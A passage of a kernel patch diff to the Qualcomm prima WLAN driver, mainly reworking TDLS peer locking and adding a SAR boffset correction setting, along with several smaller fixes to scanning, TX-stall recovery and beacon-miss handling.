CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT (0) + /*--------------------------------------------------------------------------- Type declarations -------------------------------------------------------------------------*/ @@ -3065,6 +3075,7 @@ typedef struct v_U8_t gOptimizeCAevent; v_BOOL_t crash_inject_enabled; v_U16_t rps_mask; + v_U8_t boffset_correction_enable; } hdd_config_t; /*--------------------------------------------------------------------------- diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c index 9bd846e484050..2a5db17a68271 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_assoc.c @@ -3053,7 +3053,9 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, ("HDD: del STA IDX = %x"), pRoamInfo->staId) ; - curr_peer = wlan_hdd_tdls_find_peer(pAdapter, pRoamInfo->peerMac, TRUE); + mutex_lock(&pHddCtx->tdls_lock); + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, + pRoamInfo->peerMac, FALSE); if (NULL != curr_peer) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, @@ -3062,10 +3064,17 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, if (TDLS_IS_CONNECTED(curr_peer) || (eTDLS_LINK_CONNECTING == curr_peer->link_status)) { + mutex_unlock(&pHddCtx->tdls_lock); hdd_roamDeregisterTDLSSTA ( pAdapter, pRoamInfo->staId ); } + else + mutex_unlock(&pHddCtx->tdls_lock); + wlan_hdd_tdls_decrement_peer_count(pAdapter); } + else + mutex_unlock(&pHddCtx->tdls_lock); + wlan_hdd_tdls_reset_peer(pAdapter, pRoamInfo->peerMac); pHddCtx->tdlsConnInfo[staIdx].staId = 0 ; @@ -3088,8 +3097,11 @@ eHalStatus hdd_RoamTdlsStatusUpdateHandler(hdd_adapter_t *pAdapter, __func__, pRoamInfo->reasonCode); #ifdef CONFIG_TDLS_IMPLICIT - curr_peer = wlan_hdd_tdls_find_peer(pAdapter, pRoamInfo->peerMac, TRUE); + mutex_lock(&pHddCtx->tdls_lock); + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, pRoamInfo->peerMac, + FALSE); wlan_hdd_tdls_indicate_teardown(pAdapter, curr_peer, pRoamInfo->reasonCode); + mutex_unlock(&pHddCtx->tdls_lock); #endif status = eHAL_STATUS_SUCCESS ; break ; diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c index 5ba7ffc01e571..00eaee346fcb6 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c @@ -3408,6 +3408,13 @@ REG_VARIABLE( CFG_EXTSCAN_ENABLE, WLAN_PARAM_Integer, CFG_RPS_CPU_MAP_DEFAULT, CFG_RPS_CPU_MAP_MIN, CFG_RPS_CPU_MAP_MAX), + + REG_VARIABLE(CFG_SAR_BOFFSET_SET_CORRECTION_NAME, WLAN_PARAM_Integer, + hdd_config_t, boffset_correction_enable, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT, + CFG_SAR_BOFFSET_SET_CORRECTION_MIN, + CFG_SAR_BOFFSET_SET_CORRECTION_MAX), }; /* @@ -5401,6 +5408,14 @@ v_BOOL_t hdd_update_config_dat( hdd_context_t *pHddCtx ) hddLog(LOGE, "Could not pass on WNI_CFG_ENABLE_MAC_ADDR_SPOOFING "); } + if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_SAR_BOFFSET_SET_CORRECTION, + pConfig->boffset_correction_enable, + NULL, eANI_BOOLEAN_FALSE) == eHAL_STATUS_FAILURE) + { + fStatus = FALSE; + hddLog(LOGE, "Could not pass on WNI_CFG_SAR_BOFFSET_SET_CORRECTION to CCM"); + } + return fStatus; } diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c index 5d74d5dd9fce5..ce7fdfae1495a 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c @@ -8539,7 +8539,6 @@ static int wlan_hdd_tdls_add_station(struct wiphy *wiphy, mutex_unlock(&pHddCtx->tdls_lock); return -EINVAL; } - mutex_unlock(&pHddCtx->tdls_lock); /* in add station, we accept existing valid staId if there is */ if ((0 == update) && @@ -8550,6 +8549,7 @@ static int wlan_hdd_tdls_add_station(struct wiphy *wiphy, "%s: " MAC_ADDRESS_STR " link_status %d. staId %d. add station ignored.", __func__, MAC_ADDR_ARRAY(mac), pTdlsPeer->link_status, pTdlsPeer->staId); + mutex_unlock(&pHddCtx->tdls_lock); return 0; } /* in change station, we accept only when staId is valid */ @@ -8557,13 +8557,16 @@ static int wlan_hdd_tdls_add_station(struct wiphy *wiphy, ((pTdlsPeer->link_status > eTDLS_LINK_CONNECTING) || (!TDLS_STA_INDEX_VALID(pTdlsPeer->staId)))) { + tANI_U16 staId = pTdlsPeer->staId; VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: " MAC_ADDRESS_STR " link status %d. staId %d. change station %s.", - __func__, MAC_ADDR_ARRAY(mac), pTdlsPeer->link_status, pTdlsPeer->staId, - (TDLS_STA_INDEX_VALID(pTdlsPeer->staId)) ? "ignored" : "declined"); - return (TDLS_STA_INDEX_VALID(pTdlsPeer->staId)) ? 0 : -EPERM; + __func__, MAC_ADDR_ARRAY(mac), pTdlsPeer->link_status, staId, + (TDLS_STA_INDEX_VALID(staId)) ? "ignored" : "declined"); + mutex_unlock(&pHddCtx->tdls_lock); + return (TDLS_STA_INDEX_VALID(staId)) ? 0 : -EPERM; } + mutex_unlock(&pHddCtx->tdls_lock); /* when others are on-going, we want to change link_status to idle */ if (NULL != wlan_hdd_tdls_is_progress(pHddCtx, mac, TRUE, TRUE)) @@ -8592,14 +8595,17 @@ static int wlan_hdd_tdls_add_station(struct wiphy *wiphy, else { hddTdlsPeer_t *pTdlsPeer; - pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, mac, TRUE); + mutex_lock(&pHddCtx->tdls_lock); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, mac, FALSE); if (pTdlsPeer && TDLS_IS_CONNECTED(pTdlsPeer)) { + mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: " MAC_ADDRESS_STR " already connected. Request declined.", __func__, MAC_ADDR_ARRAY(mac)); return -EPERM; } + mutex_unlock(&pHddCtx->tdls_lock); } if (0 == update) wlan_hdd_tdls_set_link_status(pAdapter, @@ -12278,6 +12284,21 @@ static int __wlan_hdd_cfg80211_connect( struct wiphy *wiphy, __func__); return status; } + + if (pHddCtx->spoofMacAddr.isEnabled) + { + hddLog(VOS_TRACE_LEVEL_INFO, + "%s: MAC Spoofing enabled ", __func__); + /* Updating SelfSta Mac Addr in TL which will be used to get staidx + * to fill TxBds for probe request during SSID scan which may happen + * as part of connect command + */ + status = WLANTL_updateSpoofMacAddr(pHddCtx->pvosContext, + &pHddCtx->spoofMacAddr.randomMacAddr, &pAdapter->macAddressCurrent); + if (status != VOS_STATUS_SUCCESS) + return -ECONNREFUSED; + } + if ( req->channel ) { status = wlan_hdd_cfg80211_connect_start(pAdapter, req->ssid, @@ -14343,7 +14364,14 @@ void hdd_cfg80211_sched_scan_done_callback(void *callbackContext, if (0 > ret) hddLog(VOS_TRACE_LEVEL_INFO, "%s: NO SCAN result", __func__); - + else + { + /* Acquire wakelock to handle the case where APP's tries to suspend + * immediatly after the driver gets connect request(i.e after pno) + * from supplicant, this result in app's is suspending and not able + * to process the connect request to AP */ + hdd_prevent_suspend_timeout(1000, WIFI_POWER_EVENT_WAKELOCK_SCAN); + } cfg80211_sched_scan_results(pHddCtx->wiphy); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: cfg80211 scan result database updated", __func__); @@ -15094,14 +15122,17 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, else { hddTdlsPeer_t *pTdlsPeer; - pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, TRUE); + mutex_lock(&pHddCtx->tdls_lock); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); if (pTdlsPeer && TDLS_IS_CONNECTED(pTdlsPeer)) { + mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s:" MAC_ADDRESS_STR " already connected. action %d declined.", __func__, MAC_ADDR_ARRAY(peer), action_code); return -EPERM; } + mutex_unlock(&pHddCtx->tdls_lock); } } @@ -15116,7 +15147,9 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, { hddTdlsPeer_t *pTdlsPeer; - pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, TRUE); + + mutex_lock(&pHddCtx->tdls_lock); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); if(pTdlsPeer && TDLS_IS_CONNECTED(pTdlsPeer)) responder = pTdlsPeer->is_responder; @@ -15126,8 +15159,10 @@ static int __wlan_hdd_cfg80211_tdls_mgmt(struct wiphy *wiphy, "%s: " MAC_ADDRESS_STR " peer doesn't exist or not connected %d dialog_token %d status %d, len = %zu", __func__, MAC_ADDR_ARRAY(peer), (NULL == pTdlsPeer) ? -1 : pTdlsPeer->link_status, dialog_token, status_code, len); + mutex_unlock(&pHddCtx->tdls_lock); return -EPERM; } + mutex_unlock(&pHddCtx->tdls_lock); } /* For explicit trigger of DIS_REQ come out of BMPS for @@ -15361,7 +15396,6 @@ int wlan_hdd_tdls_extctrl_config_peer(hdd_adapter_t *pAdapter, mutex_unlock(&pHddCtx->tdls_lock); return -EINVAL; } - mutex_unlock(&pHddCtx->tdls_lock); /* check FW TDLS Off Channel capability */ if ((TRUE == sme_IsFeatureSupportedByFW(TDLS_OFF_CHANNEL)) && @@ -15409,6 +15443,8 @@ int wlan_hdd_tdls_extctrl_config_peer(hdd_adapter_t *pAdapter, if ( 0 != wlan_hdd_tdls_set_force_peer(pAdapter, peer, TRUE) ) { + mutex_unlock(&pHddCtx->tdls_lock); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, " %s TDLS Add Force Peer Failed", __func__); @@ -15417,12 +15453,15 @@ int wlan_hdd_tdls_extctrl_config_peer(hdd_adapter_t *pAdapter, /*EXT TDLS*/ if ( 0 != wlan_hdd_set_callback(pTdlsPeer, callback) ) { + mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, " %s TDLS set callback Failed", __func__); return -EINVAL; } + mutex_unlock(&pHddCtx->tdls_lock); + return(0); } @@ -15457,10 +15496,11 @@ int wlan_hdd_tdls_extctrl_deconfig_peer(hdd_adapter_t *pAdapter, return -ENOTSUPP; } - - pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, TRUE); + mutex_lock(&pHddCtx->tdls_lock); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, FALSE); if ( NULL == pTdlsPeer ) { + mutex_unlock(&pHddCtx->tdls_lock); hddLog(VOS_TRACE_LEVEL_INFO, "%s: " MAC_ADDRESS_STR " peer not existing", __func__, MAC_ADDR_ARRAY(peer)); @@ -15479,6 +15519,7 @@ int wlan_hdd_tdls_extctrl_deconfig_peer(hdd_adapter_t *pAdapter, } if ( 0 != wlan_hdd_tdls_set_force_peer(pAdapter, peer, FALSE) ) { + mutex_unlock(&pHddCtx->tdls_lock); hddLog(VOS_TRACE_LEVEL_ERROR, FL("Failed to set force peer")); return -EINVAL; } @@ -15486,14 +15527,16 @@ int wlan_hdd_tdls_extctrl_deconfig_peer(hdd_adapter_t *pAdapter, /*EXT TDLS*/ if ( 0 != wlan_hdd_set_callback(pTdlsPeer, NULL )) { - + mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, " %s TDLS set callback Failed", __func__); return -EINVAL; } - return(0); + mutex_unlock(&pHddCtx->tdls_lock); + + return(0); } static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device *dev, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) @@ -15557,6 +15600,7 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, " %s : NL80211_TDLS_ENABLE_LINK for " MAC_ADDRESS_STR, __func__, MAC_ADDR_ARRAY(peer)); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, peer, TRUE); memset(&staDesc, 0, sizeof(staDesc)); if ( NULL == pTdlsPeer ) { @@ -15598,6 +15642,7 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device "TDLS channel switch", __func__); connPeer->isOffChannelEstablished = FALSE; + ret = sme_SendTdlsChanSwitchReq( WLAN_HDD_GET_HAL_CTX(pAdapter), pAdapter->sessionId, @@ -15657,6 +15702,7 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device return -EINVAL; } } + wlan_hdd_tdls_set_peer_link_status(pTdlsPeer, eTDLS_LINK_CONNECTED, eTDLS_LINK_SUCCESS); @@ -15800,7 +15846,6 @@ static int __wlan_hdd_cfg80211_tdls_oper(struct wiphy *wiphy, struct net_device } } } - } break; case NL80211_TDLS_DISABLE_LINK: diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c index d7611139c2b10..1abcffacf7ac1 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_early_suspend.c @@ -2274,6 +2274,9 @@ VOS_STATUS hdd_wlan_re_init(void) goto err_unregister_pmops; } vos_set_reinit_in_progress(VOS_MODULE_ID_VOSS, FALSE); + + sme_register_mgmt_frame_ind_callback(pHddCtx->hHal,hdd_indicate_mgmt_frame); + #ifdef WLAN_FEATURE_EXTSCAN sme_EXTScanRegisterCallback(pHddCtx->hHal, wlan_hdd_cfg80211_extscan_callback, diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c index 3119acc5d9d1e..615da70cd2234 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c @@ -75,7 +75,7 @@ tANI_U8* hdd_getActionString( tANI_U16 MsgType ) CASE_RETURN_STRING(SIR_MAC_ACTION_UNPROT_WNM); CASE_RETURN_STRING(SIR_MAC_ACTION_TDLS); CASE_RETURN_STRING(SIR_MAC_ACITON_MESH); - CASE_RETURN_STRING(SIR_MAC_ACTION_MULTIHOP); + CASE_RETURN_STRING(SIR_MAC_ACTION_MHF); CASE_RETURN_STRING(SIR_MAC_SELF_PROTECTED); CASE_RETURN_STRING(SIR_MAC_ACTION_WME); CASE_RETURN_STRING(SIR_MAC_ACTION_VHT); diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c index 38dbb33c76a58..36810e8ece33e 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c @@ -86,6 +86,7 @@ void wlan_hdd_tdls_disable_offchan_and_teardown_links(hdd_context_t *hddctx) u8 staIdx; hddTdlsPeer_t *curr_peer = NULL; hdd_adapter_t *adapter = NULL; + bool tdls_unlock = FALSE; if (eTDLS_SUPPORT_NOT_ENABLED == hddctx->tdls_mode) { hddLog(LOG1, FL("TDLS mode is disabled OR not enabled in FW")); @@ -109,18 +110,29 @@ void wlan_hdd_tdls_disable_offchan_and_teardown_links(hdd_context_t *hddctx) * Disable TDLS Offchannel to avoid more than two concurrent channels. */ if (connected_tdls_peers == 1) { + tSirMacAddr peer_mac; + int32_t channel; + + mutex_lock(&hddctx->tdls_lock); curr_peer = wlan_hdd_tdls_get_connected_peer(adapter); if (curr_peer && (curr_peer->isOffChannelConfigured == TRUE)) { hddLog(LOG1, FL("%s: Concurrency detected, Disable " "TDLS channel switch"), __func__); curr_peer->isOffChannelEstablished = FALSE; + channel = curr_peer->peerParams.channel; + vos_mem_copy(peer_mac, curr_peer->peerMac, sizeof(tSirMacAddr)); + mutex_unlock(&hddctx->tdls_lock); + sme_SendTdlsChanSwitchReq(WLAN_HDD_GET_HAL_CTX(adapter), adapter->sessionId, - curr_peer->peerMac, - curr_peer->peerParams.channel, + peer_mac, + channel, TDLS_OFF_CHANNEL_BW_OFFSET, TDLS_CHANNEL_SWITCH_DISABLE); + tdls_unlock = TRUE; } + if (tdls_unlock == FALSE) + mutex_unlock(&hddctx->tdls_lock); } /* Send Msg to PE for sending deauth and deleting all the TDLS peers */ @@ -1890,22 +1902,21 @@ int wlan_hdd_tdls_set_force_peer(hdd_adapter_t *pAdapter, #endif tANI_BOOLEAN forcePeer) { + /* NOTE: + * Hold mutex tdls_lock before calling this function + */ hddTdlsPeer_t *curr_peer; hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); if ((NULL == pHddCtx)) return -1; - mutex_lock(&pHddCtx->tdls_lock); - curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, FALSE); if (curr_peer == NULL) goto error; curr_peer->isForcedPeer = forcePeer; - mutex_unlock(&pHddCtx->tdls_lock); return 0; error: - mutex_unlock(&pHddCtx->tdls_lock); return -1; } @@ -2141,6 +2152,9 @@ tANI_U16 wlan_hdd_tdlsConnectedPeers(hdd_adapter_t *pAdapter) hddTdlsPeer_t *wlan_hdd_tdls_get_connected_peer(hdd_adapter_t *pAdapter) { + /* NOTE: + * Hold mutext tdls_lock before calling this function + */ int i; struct list_head *head; struct list_head *pos; @@ -2154,10 +2168,8 @@ hddTdlsPeer_t *wlan_hdd_tdls_get_connected_peer(hdd_adapter_t *pAdapter) return NULL; } - mutex_lock(&pHddCtx->tdls_lock); pHddTdlsCtx = WLAN_HDD_GET_TDLS_CTX_PTR(pAdapter); if (NULL == pHddTdlsCtx) { - mutex_unlock(&pHddCtx->tdls_lock); return NULL; } for (i = 0; i < 256; i++) { @@ -2167,7 +2179,6 @@ hddTdlsPeer_t *wlan_hdd_tdls_get_connected_peer(hdd_adapter_t *pAdapter) curr_peer= list_entry (pos, hddTdlsPeer_t, node); if (curr_peer && (curr_peer->link_status == eTDLS_LINK_CONNECTED)) { - mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: " MAC_ADDRESS_STR " eTDLS_LINK_CONNECTED", __func__, MAC_ADDR_ARRAY(curr_peer->peerMac)); @@ -2175,7 +2186,6 @@ hddTdlsPeer_t *wlan_hdd_tdls_get_connected_peer(hdd_adapter_t *pAdapter) } } } - mutex_unlock(&pHddCtx->tdls_lock); EXIT(); return NULL; @@ -3135,6 +3145,9 @@ void wlan_hdd_tdls_indicate_teardown(hdd_adapter_t *pAdapter, int wlan_hdd_set_callback(hddTdlsPeer_t *curr_peer, cfg80211_exttdls_callback callback) { + /* NOTE: + * Hold mutex tdls_lock before calling this function + */ hdd_context_t *pHddCtx; hdd_adapter_t *pAdapter; @@ -3145,14 +3158,9 @@ int wlan_hdd_set_callback(hddTdlsPeer_t *curr_peer, pHddCtx = WLAN_HDD_GET_CTX(pAdapter); if ((NULL == pHddCtx)) return -1; - mutex_lock(&pHddCtx->tdls_lock); - curr_peer->state_change_notification = callback; - mutex_unlock(&pHddCtx->tdls_lock); return 0; - - } void wlan_hdd_tdls_get_wifi_hal_state(hddTdlsPeer_t *curr_peer, diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c index a555eb2ba2830..f673d8e4a637b 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c @@ -90,6 +90,13 @@ const v_U8_t hdd_QdiscAcToTlAC[] = { #define HDD_TX_STALL_SSR_THRESHOLD 5 #define HDD_TX_STALL_SSR_THRESHOLD_HIGH 13 #define HDD_TX_STALL_RECOVERY_THRESHOLD HDD_TX_STALL_SSR_THRESHOLD - 2 +#define HDD_TX_STALL_KICKDXE_THRESHOLD HDD_TX_STALL_SSR_THRESHOLD - 4 +#define HDD_TX_STALL_FATAL_EVENT_THRESHOLD 2 +#define EAPOL_MASK 0x8013 +#define EAPOL_M1_BIT_MASK 0x8000 +#define EAPOL_M2_BIT_MASK 0x0001 +#define EAPOL_M3_BIT_MASK 0x8013 +#define EAPOL_M4_BIT_MASK 0x0003 int gRatefromIdx[] = { 10,20,55,100, @@ -1167,6 +1174,13 @@ void __hdd_tx_timeout(struct net_device *dev) pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount = 0; goto print_log; } + if (pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount == + HDD_TX_STALL_KICKDXE_THRESHOLD) + { + VOS_TRACE(VOS_MODULE_ID_HDD_SAP_DATA, VOS_TRACE_LEVEL_ERROR, + "%s: Request Kick DXE for recovery",__func__); + WLANTL_TLDebugMessage(WLANTL_DEBUG_KICKDXE); + } if (pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount == HDD_TX_STALL_RECOVERY_THRESHOLD) { diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c index 862c00d4da36b..e21df64807e07 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c @@ -5393,16 +5393,16 @@ static int __iw_setint_getnone(struct net_device *dev, return ret; } - hHal = WLAN_HDD_GET_HAL_CTX(pAdapter); - if (NULL == hHal) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Hal Context is NULL",__func__); - return -EINVAL; - } - if ( VOS_MONITOR_MODE != hdd_get_conparam()) { + /* In monitor mode hHal is NULL */ + hHal = WLAN_HDD_GET_HAL_CTX(pAdapter); + if (NULL == hHal) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Hal Context is NULL",__func__); + return -EINVAL; + } pWextState = WLAN_HDD_GET_WEXT_STATE_PTR(pAdapter); if (NULL == pWextState) { @@ -10175,12 +10175,15 @@ int iw_set_tdlsoffchannelmode(hdd_adapter_t *pAdapter, int offchanmode) eTDLS_SUPPORT_EXPLICIT_TRIGGER_ONLY == pHddCtx->tdls_mode) { /* Send TDLS Channel Switch Request to connected peer */ + mutex_lock(&pHddCtx->tdls_lock); connPeer = wlan_hdd_tdls_get_connected_peer(pAdapter); if (NULL == connPeer) { + mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, "%s: No TDLS Connected Peer", __func__); return -1; } + mutex_unlock(&pHddCtx->tdls_lock); } else { diff --git a/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h b/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h index d03a19232e3ad..abe09c8300819 100644 --- a/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h +++ b/drivers/staging/prima/CORE/MAC/inc/sirMacProtDef.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -173,9 +173,10 @@ #define SIR_MAC_ACTION_UNPROT_WNM 11 #define SIR_MAC_ACTION_TDLS 12 #define SIR_MAC_ACITON_MESH 13 -#define SIR_MAC_ACTION_MULTIHOP 14 +#define SIR_MAC_ACTION_MHF 14 #define SIR_MAC_SELF_PROTECTED 15 #define SIR_MAC_ACTION_WME 17 +#define SIR_MAC_ACTION_FST 18 #define SIR_MAC_ACTION_VHT 21 diff --git a/drivers/staging/prima/CORE/MAC/inc/wniCfg.h b/drivers/staging/prima/CORE/MAC/inc/wniCfg.h index 5061365b49dfd..a99341433b90f 100644 --- a/drivers/staging/prima/CORE/MAC/inc/wniCfg.h +++ b/drivers/staging/prima/CORE/MAC/inc/wniCfg.h @@ -387,7 +387,8 @@ enum { WNI_CFG_LINK_FAIL_TIMEOUT, WNI_CFG_LINK_FAIL_TX_CNT, WNI_CFG_OPTIMIZE_CA_EVENT, - WNI_CFG_ENABLE_MAC_ADDR_SPOOFING + WNI_CFG_ENABLE_MAC_ADDR_SPOOFING, + WNI_CFG_SAR_BOFFSET_SET_CORRECTION }; /* @@ -1896,8 +1897,12 @@ enum { #define WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_MAX 2 #define WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_DEF 1 -#define CFG_PARAM_MAX_NUM 354 -#define CFG_STA_IBUF_MAX_SIZE 288 +#define WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MIN 0 +#define WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MAX 1 +#define WNI_CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT 0 + +#define CFG_PARAM_MAX_NUM 355 +#define CFG_STA_IBUF_MAX_SIZE 289 #define CFG_STA_SBUF_MAX_SIZE 3389 #define CFG_STA_MAGIC_DWORD 0xbeefbeef diff --git a/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c b/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c index 9ca92e933a0d5..54132981a7f1c 100644 --- a/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c +++ b/drivers/staging/prima/CORE/MAC/src/cfg/cfgProcMsg.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1681,7 +1681,12 @@ tAniSirCgStatic cfgStatic[CFG_PARAM_MAX_NUM] = CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_MIN, WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_MAX, - WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_DEF} + WNI_CFG_ENABLE_MAC_ADDR_SPOOFING_DEF}, + {WNI_CFG_SAR_BOFFSET_SET_CORRECTION, + CFG_CTL_VALID | CFG_CTL_RE | CFG_CTL_WE | CFG_CTL_INT | CFG_CTL_NTF_HAL, + WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MIN, + WNI_CFG_SAR_BOFFSET_SET_CORRECTION_MAX, + WNI_CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT}, }; tAniSirCfgStaticString cfgStaticString[CFG_MAX_STATIC_STRING] = diff --git a/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c b/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c index 161779d76912e..90926f57a3288 100644 --- a/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c +++ b/drivers/staging/prima/CORE/MAC/src/dph/dphHashTable.c @@ -443,7 +443,6 @@ tSirRetStatus dphDeleteHashEntry(tpAniSirGlobal pMac, tSirMacAddr staAddr, tANI_ #ifdef WLAN_FEATURE_11W ptr->last_assoc_received_time = 0; #endif - ptr->next = 0; } else diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c index a9abca38b85ce..defbd4729500c 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limApi.c @@ -2170,6 +2170,12 @@ void limHandleMissedBeaconInd(tpAniSirGlobal pMac, tpSirMsgQ pMsg) return; } #endif + if (pMac->pmm.inMissedBeaconScenario == TRUE) { + limLog(pMac, LOGW, + FL("beacon miss handling is already going on for BSSIdx:%d"), + pSirMissedBeaconInd->bssIdx); + return; + } if ( (pMac->pmm.gPmmState == ePMM_STATE_BMPS_SLEEP) || (pMac->pmm.gPmmState == ePMM_STATE_UAPSD_SLEEP)|| (pMac->pmm.gPmmState == ePMM_STATE_WOWLAN) ) diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c index 6952d819dcbd1..04028f0b91e57 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limP2P.c +++ 